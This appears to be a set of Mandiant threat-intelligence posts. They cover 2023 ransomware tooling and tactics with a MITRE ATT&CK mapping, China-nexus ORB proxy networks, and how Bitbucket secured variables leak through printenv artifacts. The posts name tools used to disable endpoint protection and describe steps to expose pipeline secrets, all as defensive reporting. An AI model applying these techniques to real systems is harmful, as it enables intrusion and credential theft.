  • We observed threat actors use multiple publicly available tools to tamper with endpoint protection software prior to ransomware deployment, such as PrivacySexy, dControl, and IObit Unlocker.
  • Threat actors regularly leveraged simple built-in commands or custom scripts to disable or tamper with endpoint protection software. This has commonly included the use of simple batch scripts, PowerShell commands and/or scripts, and the Set-MpPreference PowerShell cmdlet.
  • We observed threat actors subvert victim organizations' administrative software in multiple ways including by adding malicious files to endpoint protection exclusion lists and altering Group Policy Objects (GPOs) and Microsoft Intune configurations to disable endpoint protection software.
• In their attempts to hinder forensic analysis and ransomware recovery efforts, threat actors associated with nearly every major ransomware brand cleared local Windows event logs and/or deleted volume shadow copies on impacted systems; observed ransomware families across these many cases included PHOBOS, CACTUS, RHYSIDA, BASTA, TRUECRYPT, LOCKBIT, ALPHV, PLAYCRYPT, MALLOX, BABUK, BABLOCK, REDBIKE, and AGENDA.

Tool Prevalence 

Throughout 2023, threat actors conducting ransomware intrusions continued to leverage a diverse set of tools, likely due to the variety of teams and individuals engaging in this activity. Despite these variations, a broad analysis of tool prevalence used across these attacks reveals a few clear trends. The most notable year-over-year trend is simply that many attackers have done very little to evolve their toolkits, and we continue to see many of the same common tools at similar rates in 2023 as we did across 2022. Despite this uniformity, there have been a few notable shifts in tool use, including a decrease in threat actor reliance on BEACON and a commensurate increase in their use of remote management tools.

• We continue to observe a decline in BEACON usage in ransomware operations following the same trend across 2022. A small number of threat actors have adopted other post-exploitation frameworks, such as SLIVER and BOLDBADGER; however, an increasing number appear to be shifting toward the use of legitimate remote access tools. 
  • We observed a 50% decrease in BEACON usage by actors deploying ransomware in 2023 compared to 2022, with it only being used in approximately 20% of intrusions. By contrast, BEACON was observed at roughly 40% and 60% of intrusions by actors deploying ransomware in 2022 and 2021, respectively.
• Threat actors have increased their reliance on remote management tools in ransomware operations. We observed legitimate remote access tools being used at approximately 41% of intrusions in 2023 compared to 23% of intrusions in 2022. Notably, in 2023, the percentage of intrusions where AnyDesk was used almost doubled.
  • Threat actors expanded the variety of legitimate remote management tools used in 2023. In 2023, we observed 14 different remote management tools used in intrusions, which was double the number observed in 2022. Newly observed remote management tools include RustDesk, LevelRMM, and eHorus. 
  • During 2023, in more than 15% of incidents threat actors brought more than one remote management utility into the victim environment, a slight increase of 3% from 2022. 
• While RaaS operations have offered custom data exfiltration tools, we have rarely directly observed these in ransomware intrusions. However, in 2023, we identified a small subset of intrusions leveraging custom tools to facilitate data exfiltration, including EXBYTE, POWERLIFT, and EXMATTER. 
• Threat actors continued to use many common tools at similar rates across 2022 and 2023, including network scanners, PsExec, and Rclone. 
  • We observed popular network scanning tools, including SoftPerfect Network Scanner, Advanced IP Scanner, and Advanced Port Scanner, in approximately half of all ransomware incidents. 
  • The prevalence of PsExec remains consistent at around 40% of intrusions, and threat actors used Rclone in around 20% of ransomware incidents. 

Outlook and Implications

Despite some apparent experimentation with extortion tactics, ranging from making stolen data more accessible to overtly aggressive techniques such as threats to swat hospitals, the TTPs used by threat actors during ransomware intrusions have remained largely consistent. The observed increasing reliance on legitimate tools likely reflects efforts by attackers to conceal their operations from detection mechanisms and reduce the time and resources required to develop and maintain custom tools. Similarly, while we still consistently see vulnerability exploitation as a popular method to gain initial access to a victim environment, threat actors more commonly relied on known vulnerabilities. This is a notable shift from the past when multiple major threat actors were deploying custom malware and acquiring zero-day exploits, although FIN11 continued to do so in incidents involving data theft without ransomware deployment. Recent evidence also suggests that threat actors associated with BASTA ransomware had access to a zero-day exploit but to support privilege escalation. It is plausible that some threat actors have chosen to invest in other aspects of the operation given the wide availability of other initial access methods that are typically less costly. 

Significant law enforcement actions against two of the most prolific RaaS groups, ALPHV and LOCKBIT, disrupted the ransomware ecosystem in late 2023 and early 2024. While the impact of these operations is yet to be fully understood, previous reactions to disruptive actions suggest that threat actors are resilient in the face of obstacles. However, we have observed at least some short term impacts, including ALPHV dropping out of the top three most prolific DLS, based on volume of posts in Q1 2024. Further, some new ransomware offerings, such as Ransomhub, are attempting to recruit affiliates that have been impacted by recent shutdowns or exit scams. Notably, this was a tactic employed by the Lockbit RaaS, as identified in the recent indictment of the actor ‘LockBitSupp’. We also continue to observe threat actors claiming to use multiple ransomware families simultaneously, providing them some level of stability to weather possible disruptions to RaaS offerings. In 2024, over 20 new DLS emerged, which underscores that threat actors have several alternatives to choose from if they wish to continue operations; notably, this is a pace that if continues, will outnumber the volume of new sites observed in 2023. Consequently, we expect that the threat actors impacted by recent actions will likely in time be able to recover and continue to engage in ransomware and extortion activity.

Read our Ransomware Protection and Containment Strategies paper for in-depth strategies to defend against ransomware. 

Technical Appendix MITRE ATT&CK Mapping

The following techniques were associated with ransomware incidents observed by Mandiant in 2023. Techniques that were commonly observed are highlighted in bold.

Resource Development

• T1583 Acquire Infrastructure
  • T1583.001 Domains
  • T1583.003 Virtual Private Server
  • T1583.008 Malvertising
• T1584 Compromise Infrastructure
• T1587 Develop Capabilities
  • T1587.002 Code Signing Certificates
  • T1587.003 Digital Certificates
• T1588 Obtain Capabilities
  • T1588.001 Malware
  • T1588.002 Tool
  • T1588.005 Exploits
  • T1588.004 Digital Certificates
• T1608 Stage Capabilities
  • T1608.001 Upload Malware
  • T1608.002 Upload Tool
  • T1608.003 Install Digital Certificate
  • T1608.006 SEO Poisoning
• T1650 Acquire Access

Initial Access

• T1078 Valid Accounts
  • T1078.004 Cloud Accounts
• T1133 External Remote Services
• T1189 Drive-by Compromise
• T1190 Exploit Public-Facing Application
• T1566 Phishing
  • T1566.001 Spearphishing Attachment
  • T1566.002 Spearphishing Link
  • T1566.004 Spearphishing Voice

Execution

• T1047 Windows Management Instrumentation
• T1053 Scheduled Task/Job
  • T1053.003 Cron
  • T1053.005 Scheduled Task
• T1059 Command and Scripting Interpreter
  • T1059.001 PowerShell
  • T1059.003 Windows Command Shell
  • T1059.004 Unix Shell
  • T1059.005 Visual Basic
  • T1059.006 Python
• T1569.002 Service Execution
• T1204 User Execution

Persistence

• T1037 Boot or Logon Initialization Scripts
• T1053 Scheduled Task/Job
  • T1053.003 Cron
  • T1053.005 Scheduled Task
• T1078 Valid Accounts
  • T1078.002 Domain Accounts
  • T1078.003 Local Accounts
  • T1078.004 Cloud Accounts
• T1098 Account Manipulation
  • T1098.004 SSH Authorized Keys
  • T1098.005 Device Registration
• T1133 External Remote Services
• T1136 Create Account
  • T1136.001 Local Account
  • T1136.002 Domain Account
• T1505 Server Software Component
  • T1505.003 Web Shell
• T1543 Create or Modify System Process
  • T1543.002 Systemd Service
  • T1543.003 Windows Service
• T1546 Event Triggered Execution
  • T1546.003 Windows Management Instrumentation Event Subscription
  • T1546.012 Image File Execution Options Injection
• T1547 Boot or Logon Autostart Execution
  • T1547.001 Registry Run Keys / Startup Folder
  • T1547.004 Winlogon Helper DLL
  • T1547.009 Shortcut Modification
• T1556 Modify Authentication Process
  • T1556.006 Multi-Factor Authentication
• T1574 Hijack Execution Flow
  • T1574.011 Services Registry Permissions Weakness

Privilege Escalation

• T1037 Boot or Logon Initialization Scripts
• T1053 Scheduled Task/Job
  • T1053.003 Cron
  • T1053.005 Scheduled Task
  • T1055 Process Injection
• T1068 Exploitation for Privilege Escalation
• T1078 Valid Accounts
  • T1078.002 Domain Accounts
  • T1078.004 Cloud Accounts
• T1134 Access Token Manipulation
  • T1134.001 Token Impersonation/Theft
• T1484 Domain Policy Modification
  • T1484.001 Group Policy Modification
• T1543 Create or Modify System Process
  • T1543.002 Systemd Service
  • T1543.003 Windows Service
• T1546 Event Triggered Execution
  • T1546.003 Windows Management Instrumentation Event Subscription
  • T1546.012 Image File Execution Options Injection
• T1547 Boot or Logon Autostart Execution
  • T1547.001 Registry Run Keys / Startup Folder
  • T1547.004 Winlogon Helper DLL
  • T1547.009 Shortcut Modification
• T1548 Abuse Elevation Control Mechanism
  • T1548.002 Bypass User Account Control
• T1574 Hijack Execution Flow
  • T1574.011 Services Registry Permissions Weakness

Defense Evasion

• T1006 Direct Volume Access
• T1027 Obfuscated Files or Information
  • T1027.001 Binary Padding
  • T1027.002 Software Packing
  • T1027.004 Compile After Delivery
  • T1027.008 Stripped Payloads
  • T1027.009 Embedded Payloads
  • T1027.010 Command Obfuscation
• T1036 Masquerading
  • T1036.001 Invalid Code Signature
  • T1036.005 Match Legitimate Name or Location
• T1055 Process Injection
• T1070 Indicator Removal
  • T1070.001 Clear Windows Event Logs
  • T1070.004 File Deletion
  • T1070.005 Network Share Connection Removal
  • T1070.006 Timestomp
  • T1070.007 Clear Network Connection History and Configurations
  • T1070.008 Clear Mailbox Data
  • T1070.009 Clear Persistence
• T1078 Valid Accounts
  • T1078.002 Domain Accounts
  • T1078.003 Local Accounts
  • T1078.004 Cloud Accounts
• T1112 Modify Registry
• T1127 Trusted Developer Utilities Proxy Execution
  • T1127.001 MSBuild
• T1134 Access Token Manipulation
  • T1134.001 Token Impersonation/Theft
• T1140 Deobfuscate/Decode Files or Information
• T1202 Indirect Command Execution
• T1207 Rogue Domain Controller
• T1218 System Binary Proxy Execution
  • T1218.001 Compiled HTML File
  • T1218.005 Mshta
  • T1218.007 Msiexec
  • T1218.010 Regsvr32
  • T1218.011 Rundll32
  • T1218.014 MMC
• T1222 File and Directory Permissions Modification
  • T1222.001 Windows File and Directory Permissions Modification
  • T1222.002 Linux and Mac File and Directory Permissions Modification
• T1484 Domain Policy Modification
  • T1484.001 Group Policy Modification
• T1548 Abuse Elevation Control Mechanism
  • T1548.002 Bypass User Account Control
• T1550 Use Alternate Authentication Material
  • T1550.002 Pass the Hash
• T1553 Subvert Trust Controls
  • T1553.002 Code Signing
  • T1553.005 Mark-of-the-Web Bypass
• T1556 Modify Authentication Process
  • T1556.002 Password Filter DLL
  • T1556.003 Pluggable Authentication Modules
  • T1556.006 Multi-Factor Authentication
• T1562 Impair Defenses
  • T1562.001 Disable or Modify Tools
  • T1562.002 Disable Windows Event Logging
  • T1562.004 Disable or Modify System Firewall
  • T1562.010 Downgrade Attack
• T1564 Hide Artifacts
  • T1564.001 Hidden Files and Directories
  • T1564.003 Hidden Window
  • T1564.010 Process Argument Spoofing
• T1574 Hijack Execution Flow
  • T1574.011 Services Registry Permissions Weakness

Credential Access

• T1003 OS Credential Dumping
  • T1003.001 LSASS Memory
  • T1003.002 Security Account Manager
  • T1003.003 NTDS
  • T1003.006 DCSync
  • T1003.008 /etc/passwd and /etc/shadow
• T1110 Brute Force
  • T1110.001 Password Guessing
  • T1110.002 Password Cracking
  • T1110.004 Credential Stuffing
• T1111 Multi-Factor Authentication Interception
• T1187 Forced Authentication
• T1539 Steal Web Session Cookie
• T1552 Unsecured Credentials
  • T1552.001 Credentials In Files
  • T1552.002 Credentials in Registry
  • T1552.003 Bash History
  • T1552.004 Private Keys
• T1555 Credentials from Password Stores
  • T1555.003 Credentials from Web Browsers
  • T1555.004 Windows Credential Manager
  • T1555.005 Password Managers
• T1556 Modify Authentication Process
  • T1556.002 Password Filter DLL
  • T1556.003 Pluggable Authentication Modules
  • T1556.006 Multi-Factor Authentication
• T1558 Steal or Forge Kerberos Tickets
  • T1558.003 Kerberoasting
• T1621 Multi-Factor Authentication Request Generation

Discovery

• T1007 System Service Discovery
• T1012 Query Registry
• T1016 System Network Configuration Discovery
  • T1016.001 Internet Connection Discovery
• T1018 Remote System Discovery
• T1033 System Owner/User Discovery
• T1046 Network Service Discovery
• T1049 System Network Connections Discovery
• T1057 Process Discovery
• T1069 Permission Groups Discovery
  • T1069.001 Local Groups
  • T1069.002 Domain Groups
  • T1069.003 Cloud Groups
• T1082 System Information Discovery
• T1083 File and Directory Discovery
• T1087 Account Discovery
  • T1087.001 Local Account
  • T1087.002 Domain Account
  • T1087.004 Cloud Account
• T1135 Network Share Discovery
• T1201 Password Policy Discovery
• T1482 Domain Trust Discovery
• T1518 Software Discovery
  • T1518.001 Security Software Discovery
• T1615 Group Policy Discovery

Lateral Movement

• T1021 Remote Services
  • T1021.001 Remote Desktop Protocol
  • T1021.002 SMB/Windows Admin Shares
  • T1021.004 SSH
  • T1021.005 VNC
  • T1021.006 Windows Remote Management
  • T1021.007 Cloud Services
• T1219 Remote Access Software
• T1550 Use Alternate Authentication Material
  • T1550.002 Pass the Hash
• T1563 Remote Service Session Hijacking
  • T1563.002 RDP Hijacking
• T1570 Lateral Tool Transfer

Collection

• T1005 Data from Local System
• T1039 Data from Network Shared Drive
• T1074 Data Staged
  • T1074.001 Local Data Staging
• T1114 Email Collection
  • T1114.001 Local Email Collection
• T1115 Clipboard Data
• T1119 Automated Collection
• T1213 Data from Information Repositories
  • T1213.002 Sharepoint
  • T1213.003 Code Repositories
• T1560 Archive Collected Data
  • T1560.001 Archive via Utility
• T1602 Data from Configuration Repository
  • T1602.002 Network Device Configuration Dump

Command and Control

• T1071 Application Layer Protocol
  • T1071.001 Web Protocols
  • T1071.002 File Transfer Protocols
  • T1071.004 DNS
• T1090 Proxy
  • T1090.003 Multi-hop Proxy
• T1095 Non-Application Layer Protocol
• T1105 Ingress Tool Transfer
• T1219 Remote Access Software
• T1571 Non-Standard Port
• T1572 Protocol Tunneling
• T1573 Encrypted Channel
  • T1573.002 Asymmetric Cryptography

Exfiltration

• T1020 Automated Exfiltration
• T1041 Exfiltration Over C2 Channel
• T1048 Exfiltration Over Alternative Protocol
• T1567 Exfiltration Over Web Service
  • T1567.002 Exfiltration to Cloud Storage

Impact

• T1485 Data Destruction
• T1486 Data Encrypted for Impact
• T1489 Service Stop
• T1490 Inhibit System Recovery
• T1491 Defacement
  • T1491.001 Internal Defacement
  • T1491.002 External Defacement
• T1529 System Shutdown/Reboot
• T1531 Account Access Removal
• T1657 Financial Theft

Written by: Michael Raggi

 

Mandiant Intelligence is tracking a growing trend among China-nexus cyber espionage operations where advanced persistent threat (APT) actors utilize proxy networks known as “ORB networks” (operational relay box networks) to gain an advantage when conducting espionage operations. ORB networks are akin to botnets and are made up of virtual private servers (VPS), as well as compromised Internet of Things (IoT) devices, smart devices, and routers that are often end of life or unsupported by their manufacturers. Building networks of compromised devices allows ORB network administrators to easily grow the size of their ORB network with little effort and create a constantly evolving mesh network that can be used to conceal espionage operations. 

• By using these mesh networks to conduct espionage operations, actors can disguise external traffic between command and control (C2) infrastructure and victim environments including vulnerable edge devices that are being exploited via zero-day vulnerabilities. 
• These networks often use both rented VPS nodes in combination with malware designed to target routers so they can grow the number of devices capable of relaying traffic within compromised networks. 

Mandiant assesses with moderate confidence that this is an effort to raise the cost of defending an enterprise’s network and shift the advantage toward espionage operators by evading detection and complicating attribution. Mandiant believes that if network defenders can shift the current enterprise defense paradigm away from treating adversary infrastructure like indicators of compromise (IOCs) and instead toward tracking ORB networks like evolving entities akin to APT groups, enterprises can contend with the rising challenge of ORB networks in the threat landscape.

For even more on ORB networks, listen to our latest The Defender's Advantage podcast.

IOC Extinction and the Rise of ORB Networks

The cybersecurity industry has reported on the APT practice of ORB network usage in the past as well as on the functional implementation of these networks. Less discussed are the implications of broad ORB network usage by a multitude of China-nexus espionage actors, which has become more common over recent years. The following are three key points and paradigm shifting implications about ORB networks that require enterprise network defenders to adapt the way they think about China-nexus espionage actors:

• ORB networks undermine the idea of “Actor-Controlled Infrastructure”: ORB networks are infrastructure networks administered by independent entities, contractors, or administrators within the People's Republic of China (PRC). They are not controlled by a single APT actor. ORB networks create a network interface, administer a network of compromised nodes, and contract access to those networks to multiple APT actors that will use the ORB networks to carry out their own distinct espionage and reconnaissance. These networks are not controlled by APT actors using them, but rather are temporarily used by these APT actors often to deploy custom tooling more conventionally attributable to known China-nexus adversaries.
• ORB network infrastructure has a short lifespan and IOC extinction is accelerating: Based on Mandiant’s regular tracking of ORB networks, the lifespan of an IPv4 address associated with an ORB node can be in an ORB network for as few as 31 days. Each ORB network has different practices for cycling infrastructure as part of their ORB networks infrastructure. However, a competitive differentiator among ORB network contractors in China appears to be their ability to cycle significant percentages of their compromised or leased infrastructure on a monthly basis. Therefore, simply blocking infrastructure observed in association with ORB network behavior is not as effective as blocking C2 infrastructure would have been in the period between 2005 and 2016. As a result, IOC extinction is accelerating and the shelf life of network indicators is decreasing.
• Attributing espionage operations cannot rely on network infrastructure alone: From a defender’s perspective, the egress IP address observed in relation to an APT attack has for years been a key artifact used to research an intrusion's attribution. In the case of China-nexus attacks, attribution is growing both more challenging and more non-specific. Infrastructure or the compromised router device communicating with a victim environment may now be identifiable to a particular ORB network, while the actor using that ORB network to carry out the attack may be unclear and require investigation of the complex tools and tactics observed as part of an intrusion. These networks allow actors to egress from devices that have a geographic proximity to targeted enterprises, which allows traffic to blend in or otherwise not be anomalous when being reviewed by analysts or operational personnel making risk-based access decisions. One such example would be traffic from a residential ISP that is in the same geographic location as the target that is regularly used by employees and would be less likely to get picked up for manual review. The weaponization phase of the cyber kill chain now appears to be administered by third-party providers, complicating the definitive attribution of cyberattacks using network indicators and increasing the difficulty of detecting anomalous traffic.  

The Anatomy of an ORB Network

ORB networks are always made up of network infrastructure nodes. These nodes can be compromised routers, leased VPS devices, or often a mixture of both. While earlier commercial incarnations of ORB networks date back to 2016, the modern incarnation of networks like ORB1 / ORBWEAVER can be tracked back to at least 2020. The nodes in any given ORB network are usually distributed globally across the world and are not geographically specific to any one location. ORB network administrators rely on ASN providers in different parts of the world to reduce exposure or dependence on any one nation’s internet infrastructure. An example of global distribution of an ORB network can be seen as follows in what Mandiant tracks as ORB3 or SPACEHOP, a very active network leveraged by multiple China-nexus threat actors. The high volume of APT-related traffic through globally distributed nodes indicates that this network is utilized to target a wide array of geographic targets colocated in the geographies of observed exit nodes. Notably, this network maintains a robust volume of nodes in Europe, the Middle East, and the United States. These geographies have been observed as targets of APT15 and UNC2630 (a cluster of activity with suspected links to APT5) and have previously been observed using this network. This network also diversifies its nodes by registering VPS-based devices with multiple commercially available Autonomous System providers.

Figure 1: Country heatmap of ORB3 / SPACEHOP nodes 2023

Autonomous System

Percent of Observed SPACEHOP Nodes

Shenzhen Tencent Computer Systems Company Limited (CN)

7.73%

Hangzhou Alibaba Advertising Co.,Ltd. (CN)

4.55%

Tencent Building, Kejizhongyi Avenue (CN)

4.24%

OVH SAS (FR)

4.02%

Stark Industries Solutions Ltd (UK)

2.95%

BrainStorm Network, Inc (CA)

2.50%

TWC (US)

2.42%

Green Floid LLC (PL)

2.12%

Kaopu Cloud HK Limited (HK)

2.12%

AS-CHOOPA (US)

1.82%

Table 1: Top 10 Autonomous System providers and percent composition of ORB3 / SPACEHOP network ORB Network Classifications

Mandiant classifies ORB networks into two fundamental types. Networks can be provisioned networks, which are made up of commercially leased VPS space that are managed by ORB network administrators, or they can be non-provisioned networks, which are often made up of compromised and end-of-life router and IoT devices. It is also possible for an ORB network to be a hybrid network combining both leased VPS devices and compromised devices. Mandiant notes that it has observed both a wide diversity of China-nexus threat actors using each kind of ORB network. The type of threat actor organization does not appear to limit which type of network threat actors utilize, despite historic indications that military-related entities have preferred procured networks in the past. Alternatively, threat actors with a civilian intelligence background have proven more likely to utilize non-provisioned networks consisting of routers compromised by custom malware.

Provisioned Networks

Non-Provisioned Networks

Leased VPS devices via commercial services

Compromised routers and IoT devices

Actor administration of nodes

Actor augmentation of network through custom router-based payloads

Provisioned networks require actors to manage virtual images or operating systems on leased devices.

Many non-provisioned networks will use leased VPS devices as adversary-controlled operations servers (“ACOS nodes”)

Table 2: Characteristics of provisioned and non-provisioned ORB networks ORB Network Universal Anatomy

After continuous analysis of numerous ORB networks spanning years, Mandiant has designed a universal anatomy for analyzing and labeling ORB network components. This anatomy is intended to serve as a guide for enterprise defenders when identifying malicious ORB network node infrastructure. All networks that are identified will have a universal set of identifiable components. While the configuration of these components may differ between networks and the traversal path through an ORB network may appear different on a case by case basis, the following components are essential for an ORB network to function:

• Adversary Controlled Operations Server (“ACOS”): This is an adversary-controlled server used to administer nodes within an ORB network. 
• Relay Node: This is most commonly a leased VPS node at a major China or Hong Kong-based cloud provider. This node allows users of an ORB network to authenticate to the network and relay traffic through the larger traversal pool on ORB nodes.
• Traversal Nodes: These are the primary volume of nodes that make up an ORB network. These can be either provisioned or non-provisioned nodes and are used to relay traffic across an ORB network obfuscating the origin of network traffic. Some networks may utilize multiple types of traversal nodes or include multiple traversal layers.
• Exit/Staging Nodes: These are actor-controlled nodes often exhibiting the same characteristics as traversal nodes that are used to egress from an ORB network into a victim environment.
• Victim Server: The targeted victim’s infrastructure communicating with the ORB network node.

Figure 2: Diagram of the Universal Anatomy of an ORB network

Mandiant notes that the ACOS servers and relay nodes are most commonly hosted in PRC-affiliated and Hong Kong-based IP space. Analysts believe that by placing these critical servers behind the Great Firewall, ORB network administrators may limit their exposure to both legal and disruptive actions of targeted entities.

Examples of Active ORB Networks in the Wild ORB3 / SPACEHOP - Provisioned Network

A primary example of a provisioned ORB network leveraged in the wild by numerous APTs is a network tracked by Mandiant as ORB3 / SPACEHOP. This network consists of servers provisioned by a single entity operating in China. The network has facilitated network reconnaissance scanning and vulnerability exploitation conducted by China-nexus threat actors, including APT5 and APT15.

The infrastructure present in the ORB3 network represents a threat to entities that have historically been targeted by APT15 and APT5, including entities in North America, Europe, and the Middle East. Active since at least 2019, UNC2630 (with suspected links to APT5), used a known SPACEHOP node to exploit CVE-2022-27518 in late December 2022. The National Security Agency (NSA) linked exploitation of CVE-2022-27518 within the same time frame to APT5. 

This ORB network’s topography is rather flat when compared to more complex ORB networks. It leverages a relay server hosted in either Hong Kong or China by cloud providers and installs a C2 framework available on GitHub for the administration of downstream relay nodes. The relay nodes are often cloned Linux-based images, which are used to proxy malicious network traffic through the network to an exit node that communicates with targeted victim environments.

Figure 3: ORB3 / SPACEHOP network diagram

ORB2 FLORAHOX - Non-Provisioned Network

FLORAHOX is an example of both a non-provisioned and a hybrid ORB network. It is composed of an ACOS node, compromised network router and IOT devices, and leased VPS servers that interface with a customized TOR relay network layer. The network is used to proxy traffic from a source and relay it through a TOR network and several compromised router nodes to obfuscate the source of the traffic. It is believed to be used in cyber espionage campaigns by a diverse set of China-nexus threat actors.

The network appears to contain several subnetworks composed of compromised devices recruited by the router implant FLOWERWATER as well as other router-based payloads. Subnetworks are capable of being used in an overlapping manner to relay malicious traffic through the network segments. FLORAHOX appears to be multi-tenanted with several distinct router compromise payloads being used for the augmentation of the network and several APT threat actors leveraging the network. While it appears several actors may utilize the FLORAHOX network, China-nexus threat actors including clusters of activity publicly tracked as APT31 and Zirconium have been reported by multiple trusted third-party sources to utilize the network.

An additional tool that was determined to be a MIPS router tunneler payload (PETALTOWER) and related controller Bash scripts, which provide command-line inputs to the PETALTOWER payload (SHIMMERPICK), were identified in January 2023. The purpose of these tools appears to be providing a configuration for the traversal of the network and traversing the network of pre-existing FLORAHOX nodes based on command-line inputs.

ORB2 represents a more complicated design including the relay of traffic through TOR nodes, provisioned VPS servers, and different types of compromised routers including CISCO, ASUS, and Draytek end-of-life devices. The network embodies years of continual augmentation and several generations of distinct router-based payloads used simultaneously to recruit vulnerable devices into the FLORAHOX traversal node pool.

Figure 4: ORB2 / FLORAHOX network diagram

The Defender’s Dilemma 

The widespread adoption of ORB networks by China-nexus espionage actors introduces a new layer of complexity to defending enterprise environments from malicious infrastructure. Rather than earlier practices allowing for the outright blocking of adversary infrastructure, defenders must now consider:

• Temporality: What Infrastructure is part of the ORB network right now?
• Multiplicity of Adversaries: Which adversaries are using this ORB network and am I seeing one of them targeting my network?
• Ephemerality: How long is this infrastructure part of the ORB network being defended against and are changing characteristics of infrastructure indicative of new tactics?

Mandiant asserts that the best way to rise to the challenge posed by ORB networks is to stop tracking espionage C2 infrastructure as an inert indicator of compromise and start tracking it as an entity with distinct TTPs. We no longer operate in the world of “block and move on” where IPs are part of APT’s weaponization and C2 kill chain phase. Instead, infrastructure is a living artifact of an ORB network that is a distinct and evolving entity where the characteristics of IP infrastructure itself, including ports, services, and registration/hosting data, can be tracked as evolving behavior by the adversary administrator responsible for that ORB network.

By shifting awareness and our enterprise defender paradigm toward treating ORB networks like APTs instead of IOCs, defenders can begin to turn their dilemma into a defender’s advantage. 

Conclusion

Use of ORB networks to proxy traffic in a compromised network is not a new tactic, nor is it unique to China-nexus cyber espionage actors. However, its ubiquity that has evolved over the past four years now requires defenders to meet this challenge head on to keep pace with adversaries in the cyber espionage landscape. We have tracked China-nexus cyber espionage using these tactics as part of a broader evolution toward more purposeful, stealthy, and effective operations. In addition to wanting to be stealthy, actors want to increase the cost and analytical burden on defenders of enterprise environments. The rise of the ORB network industry in China points to long-term investments in equipping China-nexus cyber operators with more sophisticated tactics and tools that facilitate enterprise exploitation to achieve higher success rates in gaining and maintaining access to high-value networks. Whether defenders will rise to this challenge depends on enterprises applying the same deep tactical focus to tracking ORB networks as has been done for APTs over the last 15 years. Mandiant is equipped to provide enterprise defenders with the capability to meet this challenge and scale to overcome it.

Written by: Mark Swindle

 

While investigating recent exposures of Amazon Web Services (AWS) secrets, Mandiant identified a scenario in which client-specific secrets have been leaked from Atlassian's code repository tool, Bitbucket, and leveraged by threat actors to gain unauthorized access to AWS. This blog post illustrates how Bitbucket Secured Variables can be leaked in your pipeline and expose you to security breaches. 

Background

Bitbucket is a code hosting platform provided by Atlassian and is equipped with a built-in continuous integration and continuous delivery/deployment (CI/CD) service called Bitbucket Pipelines. Bitbucket Pipelines can be used to execute CI/CD use cases like deploying and maintaining resources in AWS. Bitbucket includes an administrative function called "Secured Variables" that allows administrators to store CI/CD secrets, such as AWS keys, directly in Bitbucket for easy reference by code libraries. 

CI/CD Secrets: CI/CD Secrets serve as the authentication and authorization backbone within CI/CD pipelines. They provide the credentials required for pipelines to interact with platforms like AWS, ensuring pipelines possess the appropriate permissions for their tasks. Secrets are often extremely powerful and are beloved by attackers because they present an opportunity for direct, unabated access to an environment. Maintaining confidentiality of secrets while balancing ease of use by developers is a constant struggle in securing CI/CD pipelines. 

Bitbucket Secured Variables: Bitbucket provides a way to store variables so developers can quickly reference them when writing code. Additionally, Bitbucket offers an option to declare a variable as a "secured variable" for any data that is sensitive. A secured variable is designed such that, once its value is set by an administrator, it can no longer be read in plain text. This structure allows developers to make quick calls to secret variables without exposing their values anywhere in Bitbucket. Unless…

Exporting Secrets from Bitbucket in Plain Text

CI/CD pipelines are designed just like the plumbing in your house. Pipes, valves, and regulators all work in unison to provide you with reliable, running water. CI/CD pipelines are a complicated orchestration of events to accomplish a specific task. In order to accomplish this, these pipelines are highly proficient at packaging and deploying large volumes of data completely autonomously. As a developer, this creates countless possibilities for automating work, but, as a security professional, it can be a cause for anxiety and heartburn. Perhaps it's a line of code with a hardcoded secret sneaking into production. Maybe it's a developer accidentally storing secrets locally on their machine. Or maybe, as we have seen in recent investigations,  it's a Bitbucket artifact object containing secrets for an AWS environment being published to publicly available locations like S3 Buckets or company websites. 

Bitbucket secured variables are a convenient way to store secrets locally in Bitbucket for quick reference by developers; however, they come with one concerning characteristic—they can be exposed in plain text through artifact objects. If a Bitbucket variable—secured or not secured—is copied to an artifact object using the artifacts: command, the result will generate a .txt file with the value of that variable displayed in plain text. 

Mandiant has seen instances in which development teams used Bitbucket artifacts in web application source code for troubleshooting purposes, but, unbeknownst to the development teams, those artifacts contained plain text values of secret keys. This resulted in secret keys being exposed to the public internet where they were located and subsequently leveraged by attackers to gain unauthorized access.

Once a secured variable—such as an AWS Key—is copied to a .txt file in plain text, the secret has been leaked, and it's up to the pipeline as to where that secret flows and how long until an attacker finds it.

Reproducing the Secret Leak

The following are steps to recreate the secret leak in a Bitbucket environment. One important note—the commands detailed in this guide illustrate only one possibility, but there are several other methods that export secured variables to artifacts in Bitbucket. Administrators and developers should closely review any references to artifact objects in their bitbucket-pipelines.yml file or any other files in the repository. 

Establish Secured Variables in Bitbucket

This can be done at the repository level or the workspace level as long as they are set to "secured variable."

Update the bitbucket-pipelines.yml File to Create an Environment Artifact

The following lines of code execute the command printenv to copy all environment variables from Bitbucket to a .txt file called environment_variables.txt. This is a common practice in development when troubleshooting because developers need to review a wide range of variables for legitimate development purposes. Once the .txt file is created, the code passes it to a Bitbucket artifact object where it can be used by future stages in the pipeline, if necessary.

Navigate to the Pipeline Execution History and Download the Artifact Open the Artifact and Search for Secured Variables

After exporting the .txt file, secrets can be read in plain text among all the variables in the Bitbucket environment. One note on this step—it is possible you will need to extract components of a .tar file as an additional step here. In this event, extract the .tar file using your data extraction tool of choice.

Secrets Flow Where the Pipeline Goes

Once the secrets are printed to the environment_variables.txt file, they are free to flow out of Bitbucket through the pipeline and become exposed. Any combination of development mistakes, malicious intent, or accidental disclosure can lead to secret exposure and misuse by a threat actor. 

Recommendations

Bitbucket Pipelines is a great platform for storing, collaborating, and deploying code. Bitbucket, however, is not a dedicated secrets manager, and storing secrets directly in Bitbucket introduces opportunities for secrets to be leaked. Safely protect your secrets when using Bitbucket Pipelines by:

• Storing secrets in a dedicated secrets manager and then referencing those variables in the code stored in your Bitbucket repository
• Closely reviewing Bitbucket artifact objects to ensure they are not exposing secrets as plain text files
• Deploying code scanning throughout the full lifecycle of your pipeline to catch secrets stored in code before they are deployed to production

Conclusion

This is not an indictment against Bitbucket. Instead, it's a case study in how seemingly innocuous actions can snowball into serious problems. We use the word "leak" for a specific reason. All it takes is one keystroke, one line of code, or one misconfiguration for a slow, seemingly untraceable drip of secrets to flow through your pipeline out into the world.